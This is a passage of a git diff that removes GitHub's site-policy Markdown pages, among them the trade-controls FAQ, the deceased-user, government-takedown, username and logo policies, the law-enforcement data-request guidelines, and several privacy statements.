located in Cuba. - -GitHub is committed to continuing to offer free public repository services to developers with individual and organizational accounts in Syria, Crimea, and the separatist areas of Donetsk and Luhansk. This includes limited access to free services, such as public repositories for open source projects (and associated public Pages), public gists, and allotted free Action minutes, for personal communications only, and not for commercial purposes. - -For paid organizational accounts in these sanctioned regions, users may have limited access to their public repositories, which have been downgraded to archived read-only repositories. For free organizational accounts in these sanctioned regions, however, users will continue to have full access to free public repositories for open source projects (and associated public Pages), public gists, and allotted free Action minutes. - -GitHub will continue advocating with U.S. regulators for the greatest possible access to code collaboration services to developers in sanctioned regions, such as Syria and Crimea, including private repositories. We believe that offering those services advances human progress, international communication, and the enduring U.S. foreign policy of promoting free speech and the free flow of information. - -Specially Designated Nationals (SDNs), other denied or blocked parties under U.S. and other applicable law, and certain government officials may be restricted from accessing or using GitHub, wherever located. Users may not use GitHub.com for or on behalf of such parties, generally including the Governments of sanctioned countries. - -GitHub services are not available to developers located or otherwise resident in North Korea. - -### How do you define these specific users? - -If GitHub determines that a user or customer is located in a region that is subject to U.S. trade control restrictions for which GitHub does not yet have a license from the U.S. government, or a user is otherwise restricted under U.S. economic sanctions, then the affiliated account will be restricted to comply with those legal requirements. The determination of user and customer location to implement these legal restrictions are derived from a number of sources, including IP addresses and payment history. Nationality and ethnicity are not used to flag users for sanctions restrictions. - -### How are organization accounts impacted? - -If an organization is based out of, or the key individuals or membership of an organization shows sufficient ties to, a sanctioned territory or country for which GitHub does not yet have a license from the U.S. government, or if the organization otherwise appears to be subject to U.S. economic sanctions, then the organization account and the affiliated owner account will be restricted. - -The restriction suspends access to private repository services and paid services, such as availability of free or paid private repositories, secret gists, paid Action minutes, Sponsors, and GitHub Marketplace services. For paid organizational accounts associated with such sanctioned regions, users may have limited access to their public repositories, which have been downgraded to archived read-only repositories. For free organizational accounts associated with such sanctioned regions, users will continue to have full access to free public repositories for open source projects (and associated public Pages), public gists, and allotted free Action minutes. - -### Can trade-restricted users’ private repositories be made public? - -Free individual account users can make restricted private repositories public, for personal communications only, and not for commercial purposes. Users can do this by navigating to the repository settings tab and clicking the "make public" button. Once the repository is public, users have access to public repositories services. This action cannot be undone. - -### Can trade-restricted users access private repository data (e.g. downloading or deletion of repository data)? - -Unfortunately, our understanding of the law does not give us the option to allow downloads or deletion of private repository content, until otherwise authorized by the U.S. government. We will strongly advocate, with U.S. regulators, for the right of trade-restricted users to secure the contents of their private repositories. We will also advocate for more availability of GitHub services for developers in sanctioned markets, and further underscore the importance of code collaboration in supporting personal communications for developers globally. - -### Under the license GitHub has received from OFAC, which types of accounts will be available in Iran? - -The license we have secured includes all public and private services, for individuals and organizations, both free and paid. - -For example, a developer in Iran may sign up for a Free or Pro plan for their individual use, and an Iranian university may set up an organization account to collaborate with students. - -Specially Designated Nationals (SDNs), other denied or blocked parties under U.S. and other applicable law, and certain government officials may be restricted from accessing or using GitHub. - -If GitHub determines that an individual or organization falls into a restricted category (SDNs, other blocked parties, or certain government officials), their account will be flagged and they will not be able to use any GitHub features. If they believe that they have been flagged in error, then they have the opportunity to appeal the flag by providing verification information to GitHub using our [individual account appeals request form or organization account appeals request form](https://airtable.com/shrGBcceazKIoz6pY). If GitHub receives sufficient information to verify that the individual is not in a category restricted by U.S. economic sanctions, then the flag will be removed. - -### Will Iranian GitHub users be able to use paid services under the license? - -Pursuant to the license we have received from OFAC, we are restoring all cloud services to Iranian users, including paid services. We accept all major credit cards, but third parties process payments for us, so payments are subject to the terms and conditions of our payment processors. Those third parties may include restrictions that block payments from Iran. - -### Can you clarify availability of GitHub to Cuban developers? - -GitHub cloud services, both free and paid, are generally available to developers located in Cuba. -Specially Designated Nationals (SDNs), other denied or blocked parties under U.S. and other applicable law, and certain government officials may be restricted from accessing or using GitHub, wherever located. Additionally, users may not use GitHub.com for or on behalf of such parties, generally including the Governments of sanctioned countries. diff --git a/content/site-policy/other-site-policies/github-deceased-user-policy.md b/content/site-policy/other-site-policies/github-deceased-user-policy.md deleted file mode 100644 index 1df37a4c3a80..000000000000 --- a/content/site-policy/other-site-policies/github-deceased-user-policy.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: GitHub Deceased User Policy -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-deceased-user-policy - - /github/site-policy/github-terms-and-other-site-policies/github-deceased-user-policy ---- - -In the event that a GitHub user passes away, we can work with an authorized individual to determine what happens to the account's content. - -If you are next of kin, a [pre-designated successor](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories), or other authorized individual (which could include a collaborator or business partner) of a deceased user and would like to make a request regarding their account, you can reach out to us through the [GitHub Support portal](https://support.github.com/). In the portal, click **Contact us**, and provide the following information in your message: - -* Name -* Contact Information -* Name of the deceased account holder -* GitHub username of the deceased account holder -* Your relationship to the deceased account holder (please include whether you have been designated as the account successor on GitHub.com) -* If designated as account successor, the username of your GitHub account -* What action you are seeking (e.g. transfer public repositories, cancel billing on account) - -Once we have received your request, we may follow up with a request for additional information, such as a copy of your photo identification, copy of the death certificate, and documentation confirming you are authorized to act in relation to the deceased user’s account, to verify that we are properly authorized to process your request. - -Please note, the information you provide in your request is collected in accordance with our [Privacy Statement](/site-policy/privacy-policies/github-privacy-statement), and we will retain the information only as necessary to comply with our legal obligations and resolve disputes. diff --git a/content/site-policy/other-site-policies/github-government-takedown-policy.md b/content/site-policy/other-site-policies/github-government-takedown-policy.md deleted file mode 100644 index 8e521f28356f..000000000000 --- a/content/site-policy/other-site-policies/github-government-takedown-policy.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: GitHub Government Takedown Policy -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-government-takedown-policy - - /github/site-policy/github-terms-and-other-site-policies/github-government-takedown-policy ---- - -## What is this? - -From time to time, GitHub receives requests from governments to remove content that has been declared unlawful in their local jurisdiction. Although we may not always agree with those laws, we may need to block content if we receive a complete request from a government official so that our users in that jurisdiction may continue to have access to GitHub to collaborate and build software. - -## What is a complete government takedown request? - - - -To count as a complete request, a request or notice must -* come from a relevant, official government agency -* identify illegal content -* specify the source of illegality in that jurisdiction (law or court order). - -## What happens when we receive a complete takedown request from a government? - -When we receive a notice from a relevant, official government agency that identifies illegal content and specifies the source of the illegality, we -* notify the affected users of the specific content that allegedly violates the law, and that this is a legal takedown request -* allow the affected users to appeal the decision as part of that notification -* limit the geographic scope of the takedown when possible and include that as part of the notification -* post the official request that led to the takedown in our public [gov-takedowns repository](https://github.com/github/gov-takedowns). - - - -## Why do we publicly post takedown notices? - -We are concerned about Internet censorship, and believe that transparency on a specific and ongoing level is essential to good governance. By publicly posting the notices, we can better inform the public about what content is being withheld from GitHub, and why. We post takedown notices to document their potential to chill speech. - -## What does it mean if we post a notice in our gov-takedowns repository? - -It means that we received the notice on the indicated date. It does _not_ mean that the content was unlawful or wrong. It does _not_ mean that the user identified in the notice has done anything wrong. We don't make or imply any judgment about the merit of the claims they make. We post these notices and requests only for informational purposes. - -## Government takedowns based on violations of GitHub's Terms of Service - -In some cases, GitHub receives reports from government officials of violations of GitHub's Terms of Service. We process those violations as we would process a Terms-of-Service violation reported by anyone else. However, we notify the affected users that the report came from a government and, as with any other case, allow them the opportunity to appeal. - -## Transparency reporting - -In addition to posting government takedown notices in our `github/gov-takedowns` repository, we report on them in our transparency report. We also track and report in our transparency report on government takedowns based on violations of GitHub's Terms of Service. diff --git a/content/site-policy/other-site-policies/github-logo-policy.md b/content/site-policy/other-site-policies/github-logo-policy.md deleted file mode 100644 index b3571c3cd319..000000000000 --- a/content/site-policy/other-site-policies/github-logo-policy.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: GitHub Logo Policy -redirect_from: - - /articles/i-m-developing-a-third-party-github-app-what-do-i-need-to-know - - /articles/using-an-octocat-to-link-to-github-or-your-github-profile - - /articles/github-logo-policy - - /github/site-policy/github-logo-policy - - /github/site-policy/github-terms-and-other-site-policies/github-logo-policy -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -You can add {% data variables.product.prodname_dotcom %} logos to your website or third-party application in some scenarios. For more information and specific guidelines on logo usage, see the [{% data variables.product.prodname_dotcom %} Logos and Usage page](https://github.com/logos). - -You can also use an octocat as your personal avatar or on your website to link to your {% data variables.product.prodname_dotcom %} account, but not for your company or a product you're building. {% data variables.product.prodname_dotcom %} has an extensive collection of octocats in the [Octodex](https://octodex.github.com/). For more information on using the octocats from the Octodex, see the [Octodex FAQ](https://octodex.github.com/faq/). diff --git a/content/site-policy/other-site-policies/github-username-policy.md b/content/site-policy/other-site-policies/github-username-policy.md deleted file mode 100644 index 06e2ca1b8182..000000000000 --- a/content/site-policy/other-site-policies/github-username-policy.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: GitHub Username Policy -redirect_from: - - /articles/name-squatting-policy - - /articles/github-username-policy - - /github/site-policy/github-username-policy - - /github/site-policy/github-terms-and-other-site-policies/github-username-policy -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -GitHub account names are available on a first-come, first-served basis, and are intended for immediate and active use. - -## What if the username I want is already taken? - -Keep in mind that not all activity on GitHub is publicly visible; accounts with no visible activity may be in active use. - -If the username you want has already been claimed, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you identify a desirable username that's still available. - -## Trademark Policy - -If you believe someone's account is violating your trademark rights, you can find more information about making a trademark complaint on our [Trademark Policy](/site-policy/content-removal-policies/github-trademark-policy) page. - -## Name Squatting Policy - -GitHub prohibits account name squatting, and account names may not be reserved or inactively held for future use. Accounts violating this name squatting policy may be removed or renamed without notice. Attempts to sell, buy, or solicit other forms of payment in exchange for account names are prohibited and may result in permanent account suspension. diff --git a/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md b/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md deleted file mode 100644 index 2513d3071a73..000000000000 --- a/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md +++ /dev/null @@ -1,256 +0,0 @@ ---- -title: Guidelines for Legal Requests of User Data -redirect_from: - - /law-enforcement-guidelines - - /articles/guidelines-for-legal-requests-of-user-data - - /github/site-policy/guidelines-for-legal-requests-of-user-data - - /github/site-policy/github-terms-and-other-site-policies/guidelines-for-legal-requests-of-user-data -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -Are you a law enforcement officer conducting an investigation that may involve user content hosted on GitHub? -Or maybe you're a privacy-conscious person who would like to know what information we share with law enforcement and under what circumstances. -Either way, you're on the right page. - -In these guidelines, we provide a little background about what GitHub is, the types of data we have, and the conditions under which we will disclose private user information. -Before we get into the details, however, here are a few important details you may want to know: - -* We will [**notify affected users**](#we-will-notify-any-affected-account-owners) about any requests for their account information, unless prohibited from doing so by law or court order. -* We will not disclose **location-tracking data**, such as IP address logs, without a [valid court order or search warrant](#with-a-court-order-or-a-search-warrant). -* We will not disclose any **private user content**, including the contents of private repositories, without a valid [search warrant](#only-with-a-search-warrant). - -## About these guidelines - -Our users trust us with their software projects and code—often some of their most valuable business or personal assets. -Maintaining that trust is essential to us, which means keeping user data safe, secure, and private. - -While the overwhelming majority of our users use GitHub's services to create new businesses, build new technologies, and for the general betterment of humankind, we recognize that with millions of users spread all over the world, there are bound to be a few bad apples in the bunch. -In those cases, we want to help law enforcement serve their legitimate interest in protecting the public. - -By providing guidelines for law enforcement personnel, we hope to strike a balance between the often competing interests of user privacy and justice. -We hope these guidelines will help to set expectations on both sides, as well as to add transparency to GitHub's internal processes. -Our users should know that we value their private information and that we do what we can to protect it. -At a minimum, this means only releasing data to third-parties when the appropriate legal requirements have been satisfied. -By the same token, we also hope to educate law enforcement professionals about GitHub's systems so that they can more efficiently tailor their data requests and target just that information needed to conduct their investigation. - -## GitHub terminology - -Before asking us to disclose data, it may be useful to understand how our system is implemented. -GitHub hosts millions of data repositories using the [Git version control system](https://git-scm.com/video/what-is-version-control). -Repositories on GitHub—which may be public or private—are most commonly used for software development projects, but are also often used to work on content of all kinds. - -* [**Users**](/get-started/learning-about-github/github-glossary#user): -Users are represented in our system as personal GitHub accounts. -Each user has a personal profile, and can own multiple repositories. -Users can create or be invited to join organizations or to collaborate on another user's repository. - -* [**Collaborators**](/get-started/learning-about-github/github-glossary#collaborator): -A collaborator is a user with read and write access to a repository who has been invited to contribute by the repository owner. - -* [**Organizations**](/get-started/learning-about-github/github-glossary#organization): -Organizations are a group of two or more users that typically mirror real-world organizations, such as businesses or projects. -They are administered by users and can contain both repositories and teams of users. - -* [**Repositories**](/get-started/learning-about-github/github-glossary#repository): -A repository is one of the most basic GitHub elements. -They may be easiest to imagine as a project's folder. -A repository contains all of the project files (including documentation), and stores each file's revision history. -Repositories can have multiple collaborators and, at its administrators' discretion, may be publicly viewable or not. - -* [**Pages**](/pages/getting-started-with-github-pages/about-github-pages): -GitHub Pages are public webpages freely hosted by GitHub that users can easily publish through code stored in their repositories. -If a user or organization has a GitHub Page, it can usually be found at a URL such as `https://username.github.io` or they may have the webpage mapped to their own custom domain name. - -* [**Gists**](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists): -Gists are snippets of source code or other text that users can use to store ideas or share with friends. -Like regular GitHub repositories, Gists are created with Git, so they are automatically versioned, forkable and downloadable. -Gists can either be public or secret (accessible only through a known URL). Public Gists cannot be converted into secret Gists. - -## User data on GitHub.com - -Here is a non-exhaustive list of the kinds of data we maintain about users and projects on GitHub. - -* -**Public account data:** -There is a variety of information publicly available on GitHub about users and their repositories. -User profiles can be found at a URL such as `https://github.com/username`. -User profiles display information about when the user created their account as well their public activity on GitHub.com and social interactions. -Public user profiles can also include additional information that a user may have chosen to share publicly. -All user public profiles display: - * Username - * The repositories that the user has starred - * The other GitHub users the user follows - * The users that follow them - - Optionally, a user may also choose to share the following information publicly: - * Their real name - * An avatar - * An affiliated company - * Their location - * A public email address - * Their personal web page - * Organizations to which the user is a member (_depending on either the organizations' or the users' preferences_) - -* -**Private account data:** -GitHub also collects and maintains certain private information about users as outlined in our [Privacy Policy](/site-policy/privacy-policies/github-privacy-statement). -This may include: - * Private email addresses - * Payment details - * Security access logs - * Data about interactions with private repositories - - To get a sense of the type of private account information that GitHub collects, you can visit your {% data reusables.user-settings.personal_dashboard %} and browse through the sections in the left-hand menubar. - -* -**Organization account data:** -Information about organizations, their administrative users and repositories is publicly available on GitHub. -Organization profiles can be found at a URL such as `https://github.com/organization`. -Public organization profiles can also include additional information that the owners have chosen to share publicly. -All organization public profiles display: - * The organization name - * The repositories that the owners have starred - * All GitHub users that are owners of the organization - - Optionally, administrative users may also choose to share the following information publicly: - * An avatar - * An affiliated company - * Their location - * Direct Members and Teams - * Collaborators - -* -**Public repository data:** -GitHub is home to millions of public, open-source software projects. -You can browse almost any public repository (for example, the [GitHub Docs](https://github.com/github/docs)) to get a sense for the information that GitHub collects and maintains about repositories. -This can include: - - * The code itself - * Previous versions of the code - * Stable release versions of the project - * Information about collaborators, contributors and repository members - * Logs of Git operations such as commits, branching, pushing, pulling, forking and cloning - * Conversations related to Git operations such as comments on pull requests or commits - * Project documentation such as Issues and Wiki pages - * Statistics and graphs showing contributions to the project and the network of contributors - -* -**Private repository data:** -GitHub collects and maintains the same type of data for private repositories that can be seen for public repositories, except only specifically invited users may access private repository data. - -* -**Other data:** -Additionally, GitHub collects analytics data such as page visits and information occasionally volunteered by our users (such as communications with our support team, survey information and/or site registrations). - -## We will notify any affected account owners - -It is our policy to notify users about any pending requests regarding their accounts or repositories, unless we are prohibited by law or court order from doing so. Before disclosing user information, we will make a reasonable effort to notify any affected account owner(s) by sending a message to their verified email address providing them with a copy of the subpoena, court order, or warrant so that they can have an opportunity to challenge the legal process if they wish. In (rare) exigent circumstances, we may delay notification if we determine delay is necessary to prevent death or serious harm or due to an ongoing investigation. - -## Disclosure of non-public information - -It is our policy to disclose non-public user information in connection with a civil or criminal investigation only with user consent or upon receipt of a valid subpoena, civil investigative demand, court order, search warrant, or other similar valid legal process. In certain exigent circumstances (see below), we also may share limited information but only corresponding to the nature of the circumstances, and would require legal process for anything beyond that. -GitHub reserves the right to object to any requests for non-public information. -Where GitHub agrees to produce non-public information in response to a lawful request, we will conduct a reasonable search for the requested information. -Here are the kinds of information we will agree to produce, depending on the kind of legal process we are served with: - -* -**With user consent:** -GitHub will provide private account information, if requested, directly to the user (or an owner, in the case of an organization account), or to a designated third party with the user's written consent once GitHub is satisfied that the user has verified his or her identity. - -* -**With a subpoena:** -If served with a valid subpoena, civil investigative demand, or similar legal process issued in connection with an official criminal or civil investigation, we can provide certain non-public account information, which may include: - - * Name(s) associated with the account - * Email address(es) associated with the account - * Billing information - * Registration date and termination date - * IP address, date, and time at the time of account registration - * IP address(es) used to access the account at a specified time or event relevant to the investigation - -In the case of organization accounts, we can provide the name(s) and email address(es) of the account owner(s) as well as the date and IP address at the time of creation of the organization account. We will not produce information about other members or contributors, if any, to the organization account or any additional information regarding the identified account owner(s) without a follow-up request for those specific users. - -Please note that the information available will vary from case to case. Some of the information is optional for users to provide. In other cases, we may not have collected or retained the information. - -* -**With a court order _or_ a search warrant:** We will not disclose account access logs unless compelled to do so by either -(i) a court order issued under 18 U.S.C. Section 2703(d), upon a showing of specific and articulable facts showing that there are reasonable grounds to believe that the information sought is relevant and material to an ongoing criminal investigation; or -(ii) a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures, upon a showing of probable cause. -In addition to the non-public account information listed above, we can provide account access logs in response to a court order or search warrant, which may include: - - * Any logs which would reveal a user's movements over a period of time - * Account or private repository settings (for example, which users have certain permissions, etc.) - * User- or IP-specific analytic data such as browsing history - * Security access logs other than account creation or for a specific time and date - -* -**Only with a search warrant:** -We will not disclose the private contents of any account unless compelled to do so under a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures upon a showing of probable cause. -In addition to the non-public account information and account access logs mentioned above, we will also provide private account contents in response to a search warrant, which may include: - - * Contents of secret Gists - * Source code or other content in private repositories - * Contribution and collaboration records for private repositories - * Communications or documentation (such as Issues or Wikis) in private repositories - * Any security keys used for authentication or encryption - -* -**Under exigent circumstances:** -If we receive a request for information under certain exigent circumstances (where we believe the disclosure is necessary to prevent an emergency involving danger of death or serious physical injury to a person), we may disclose limited information that we determine necessary to enable law enforcement to address the emergency. For any information beyond that, we would require a subpoena, search warrant, or court order, as described above. For example, we will not disclose contents of private repositories without a search warrant. Before disclosing information, we confirm that the request came from a law enforcement agency, an authority sent an official notice summarizing the emergency, and how the information requested will assist in addressing the emergency. - -## Cost reimbursement - -Under state and federal law, GitHub can seek reimbursement for costs associated with compliance with a valid legal demand, such as a subpoena, court order or search warrant. We only charge to recover some costs, and these reimbursements cover only a portion of the costs we actually incur to comply with legal orders. - -While we do not charge in emergency situations or in other exigent circumstances, we seek reimbursement for all other legal requests in accordance with the following schedule, unless otherwise required by law: - -* Initial search of up to 25 identifiers: Free -* Production of subscriber information/data for up to 5 accounts: Free -* Production of subscriber information/data for more than 5 accounts: $20 per account -* Secondary searches: $10 per search - -## Data preservation - -We will take steps to preserve account records for up to 90 days upon formal request from U.S. law enforcement in connection with official criminal investigations, and pending the issuance of a court order or other process. - -## Submitting requests - -Please serve requests to: - -```text -GitHub, Inc. -c/o Corporation Service Company -2710 Gateway Oaks Drive, Suite 150N -Sacramento, CA 95833-3505 -``` - -Courtesy copies may be emailed to legal-support@github.com - -Please make your requests as specific and narrow as possible, including the following information: - -* Full information about authority issuing the request for information -* The name and badge/ID of the responsible agent -* An official email address and contact phone number -* The user, organization, repository name(s) of interest -* The URLs of any pages, gists or files of interest -* The description of the types of records you need - -Please allow at least two weeks for us to be able to look into your request. - -### California Assembly Bill 1242 Notice - -By submitting legal process to GitHub, you attest that the legal process does not relate to the violation of any law that creates liability for abortion-related conduct that is lawful in California. - -## Requests from foreign law enforcement - -As a United States company based in California, GitHub is not required to provide data to foreign governments in response to legal process issued by foreign authorities. -Foreign law enforcement officials wishing to request information from GitHub should contact the United States Department of Justice Criminal Division's Office of International Affairs. -GitHub will promptly respond to requests that are issued via U.S. court by way of a mutual legal assistance treaty (“MLAT”) or letter rogatory. - -## Questions - -Do you have other questions, comments or suggestions? Please contact {% data variables.contact.contact_support %}. diff --git a/content/site-policy/other-site-policies/index.md b/content/site-policy/other-site-policies/index.md deleted file mode 100644 index 8780bf07f5bb..000000000000 --- a/content/site-policy/other-site-policies/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Other Site Policies -versions: - fpt: '*' -topics: - - Policy - - Legal -children: - - /github-and-trade-controls - - /github-deceased-user-policy - - /github-logo-policy - - /github-government-takedown-policy - - /github-username-policy - - /guidelines-for-legal-requests-of-user-data - - /github-account-recovery-policy ---- - diff --git a/content/site-policy/privacy-policies/github-candidate-privacy-policy.md b/content/site-policy/privacy-policies/github-candidate-privacy-policy.md deleted file mode 100644 index bf041f5687f3..000000000000 --- a/content/site-policy/privacy-policies/github-candidate-privacy-policy.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: GitHub Candidate Privacy Policy -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-candidate-privacy-policy ---- - -Effective Date: March 8, 2021 - -This GitHub Candidate Privacy Policy explains what information we collect about you during the application or recruitment process for employment with GitHub, as well as the purposes for which we collect and use that information. - -For the purposes of this policy: - -“Candidate” includes applicants and candidates who are part of the GitHub application or recruitment process; and - -"Candidate Personal Information" refers to any information we collect about one of our Candidates during the application or recruitment process which could, alone or together with other information, personally identify them or otherwise be reasonably linked or connected with them. - -This policy does not apply to the use of GitHub services, which are covered under our [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement). - -## What Candidate Personal Information do we collect? - -The Candidate Personal Information we collect, use, and maintain (or “process”) can include the following, but is not limited to: - -**Identification and contact information**, including your name, email address, phone number, location, GitHub profile, and any other information you provide (such as referrals and references). - -**National identifiers**, such as your citizenship status, residency and work permit status. - -**Employment and education history**, such as your resume or CV, cover letter, details of how you heard about the position you are applying for, information about any previous employment at GitHub or affiliates of GitHub, or other information you provide to us in support of an application and/or the application and recruitment process. - -**Professional or employment information**, including your desired salary or terms related to benefits, willingness to relocate, other job preferences, interview details, reference information and/or information received from background checks (where applicable), and information from publicly available resources (such as your LinkedIn profile or website). - -**Sensitive or demographic information**, such as your gender, medical or health information, veteran status, or your racial or ethnic origin. - -## How do we use the Candidate Personal Information we collect? - -We use the Candidate Personal Information for the following purposes: - * To assess your skills, qualifications and interests for employment opportunities with GitHub; - * To verify the information provided by you or others, including checking your references; - * To communicate with you about your application and the recruitment process, including informing you of other potential employment opportunities at GitHub; - * If you were referred, to inform the referrer of the status of your application; - * If you are offered a position, to prepare your offer letter and conduct a background check (to the extent permitted by applicable law); - * If you are offered a position and where requested by you, to assist you with obtaining an immigration visa or work permit; - * To comply with local laws, regulations, legal processes or enforceable government requests; and - * To prepare and submit reports as required under local laws and regulations; - * To manage and improve our application and recruitment process (such as making the application process more efficient and improving our diversity practices). - -## How do we share your Candidate Personal Information? - -GitHub will share your Candidate Personal Information with those who have a legitimate business need for it. Whenever we permit a third party to access your Candidate Personal Information, we will make sure the information is used in a manner consistent with this policy. Your Candidate Personal Information may be shared with our affiliates (such as Microsoft) and other third parties (such as vendors) for the following purposes: -1. In order to carry out the uses of Candidate Personal Information described above; -1. To enable third parties to provide products or services to us or on our behalf (such as to facilitate the application process or conduct background checks). -1. To comply with our legal obligations, regulations or contracts, or to respond to a court order, administrative or judicial process (such as subpoena, government audit or search warrant) or, in response to lawful requests by public authorities (such as national security or law enforcement); -1. As necessary to establish, exercise, or defend against potential or pending litigation; -1. Where necessary to protect GitHub, your vital interests (such as safety and security), or those of another person; or -1. With your consent (such to contact your references). It is your responsibility to obtain consent from references before providing their personal information to GitHub. - -## Your rights to your Candidate Personal Information - -In some locations, Candidates may have certain rights under applicable local privacy laws (such as the European General Data Protection Regulation). However, regardless of your location, we provide the same high standard of privacy protection to all of our Candidates around the world. - -This includes the rights to request access or correct your information, request that your information be deleted, or object to or restrict GitHub from using it for certain purposes. - -You can make a request to do so by contacting privacy@github.com. We will respond to all requests in accordance with applicable data protection laws. - -## How long do we retain your Candidate Personal Information? - -Candidate Personal Information will be stored for one year after your application to comply with our legal obligations. After that time, we will contact you and ask for your consent to continue to retain your personal information so that we can consider you for any future job opportunities at GitHub. - -If you are hired for a position at GitHub, we will retain the information provided during the application and recruitment process as part of your employee record. - -## Changes to this Policy - -We may occasionally update this GitHub Candidate Privacy Policy. When we do make changes to this page, we will update the "last updated" date. diff --git a/content/site-policy/privacy-policies/github-codespaces-privacy-statement.md b/content/site-policy/privacy-policies/github-codespaces-privacy-statement.md deleted file mode 100644 index 518301c42a15..000000000000 --- a/content/site-policy/privacy-policies/github-codespaces-privacy-statement.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: GitHub Codespaces Privacy Statement -redirect_from: - - /github/site-policy/github-codespaces-privacy-policy - - /github/site-policy/github-codespaces-privacy-statement -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -Effective Date: August 10, 2021 - -Use of GitHub Codespaces is subject to the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement). - -Activity on github.dev is subject to [GitHub's Beta Previews terms](/site-policy/github-terms/github-terms-of-service#j-beta-previews) - -## Using {% data variables.product.prodname_vscode %} - -GitHub Codespaces and github.dev allow for use of {% data variables.product.prodname_vscode %} in the web browser. When using {% data variables.product.prodname_vscode_shortname %} in the web browser, some telemetry collection is enabled by default and is [explained in detail on the {% data variables.product.prodname_vscode_shortname %} website](https://code.visualstudio.com/docs/getstarted/telemetry). Users can opt out of telemetry by going to File > Preferences > Settings under the top left menu. - -If a user chooses to opt out of telemetry capture in {% data variables.product.prodname_vscode_shortname %} while inside of a codespace as outlined, this will sync the disable telemetry preference across all future web sessions in GitHub Codespaces and github.dev. diff --git a/content/site-policy/privacy-policies/github-cookies.md b/content/site-policy/privacy-policies/github-cookies.md deleted file mode 100644 index 6c2a944409a2..000000000000 --- a/content/site-policy/privacy-policies/github-cookies.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: GitHub Cookies -redirect_from: - - /github-tracking - - /github-cookies -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -GitHub uses cookies to provide and secure our websites, as well as to analyze the usage of our websites, in order to offer you a great user experience. Please take a look at our [Privacy Statement](/site-policy/privacy-policies/github-privacy-statement#our-use-of-cookies-and-tracking) if you’d like more information about cookies, and on how and why we use them. - -You can view the current list of cookies on GitHub, and sign up to receive cookie list updates, at [https://github.com/privacy/cookies](https://github.com/privacy/cookies). - -If you have questions or concerns about a new subprocessor, please contact us via {% data variables.contact.contact_privacy %}. diff --git a/content/site-policy/privacy-policies/github-general-privacy-statement.md b/content/site-policy/privacy-policies/github-general-privacy-statement.md deleted file mode 100644 index 53bd020e0287..000000000000 --- a/content/site-policy/privacy-policies/github-general-privacy-statement.md +++ /dev/null @@ -1,335 +0,0 @@ ---- -title: GitHub General Privacy Statement -redirect_from: - - /privacy - - /privacy-policy - - /privacy-statement - - /github-privacy-policy - - /articles/github-privacy-policy - - /articles/github-privacy-statement - - /github/site-policy/github-privacy-statement - - /site-policy/privacy-policies/global-privacy-practices - - /site-policy/privacy-policies/github-privacy-statement -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - - -## GitHub Privacy Statement - -Effective date: February 1, 2024 - -Welcome to the GitHub Privacy Statement. This is where we describe how we handle your “Personal Data”, which is information that is directly linked or can be linked to you. It applies to the Personal Data that GitHub, Inc. or GitHub B.V., processes as the “Data Controller” when you interact with websites, applications, and services that display this Statement (collectively, “Services”). This Statement does not apply to services or products that do not display this Statement, such as Previews, where relevant. - -### End User Notice: Organization-Provided GitHub Accounts - -When a school or employer supplies your GitHub account, they assume the role of Data Controller for most Personal Data used in our Services. This enables them to: - -* Manage and administer your GitHub account, including adjusting privacy settings. -* Access and utilize your Personal Data, which includes details on how you use the Services, as well as your content and files. - -Should you access a GitHub Service through an account provided by an organization, such as your employer or school, the organization becomes the Data Controller, and this Privacy Statement's direct applicability to you changes. Even so, GitHub remains dedicated to preserving your privacy rights. In such circumstances, GitHub functions as a Data Processor, adhering to the Data Controller's instructions regarding your Personal Data's processing. A Data Protection Agreement governs the relationship between GitHub and the Data Controller. For further details regarding their privacy practices, please refer to the privacy statement of the organization providing your account. - -In cases where your organization grants access to GitHub products, GitHub acts as the Data Controller solely for specific processing activities. These activities are clearly defined in a contractual agreement with your organization, known as a Data Protection Agreement. You can review our standard Data Protection Agreement at [GitHub Data Protection Agreement](https://github.com/customer-terms/github-data-protection-agreement). For those limited purposes, this Statement governs the handling of your Personal Data. For all other aspects of GitHub product usage, your organization's policies apply. - -### Third Party Access and Data Protection - -When you use third-party extensions, integrations, or follow references and links within our Services, the privacy policies of these third parties apply to any Personal Data you provide or consent to share with them. Their privacy statements will govern how this data is processed. - -## Personal Data We Collect - -Personal Data is collected from you directly, automatically from your device, and also from third parties. The Personal Data GitHub processes when you use the Services depends on variables like how you interact with our Services (such as through web interfaces, desktop or mobile applications), the features you use (such as pull requests, Codespaces, or GitHub Copilot) and your method of accessing the Services (your preferred IDE). Below, we detail the information we collect through each of these channels: - -### From You - -* Account Data: We collect certain information when you open an account such as your GitHub handle, name, email address, password, payment information and transaction information. -* User Content and Files: When you use our Services, we collect Personal Data included as part of the information you provide such as code, inputs, text, documents, images, or feedback. -* Demographic information: In some cases, you provide us with ethnicity, gender, or similar demographic details. -* Feedback Data: This consists of information you submit through surveys, reviews, or interactive features. -* Payment Information: For paid subscriptions, we collect details like name, billing address, and payment specifics. -* Profile Information: We collect information to create a user profile, which may include 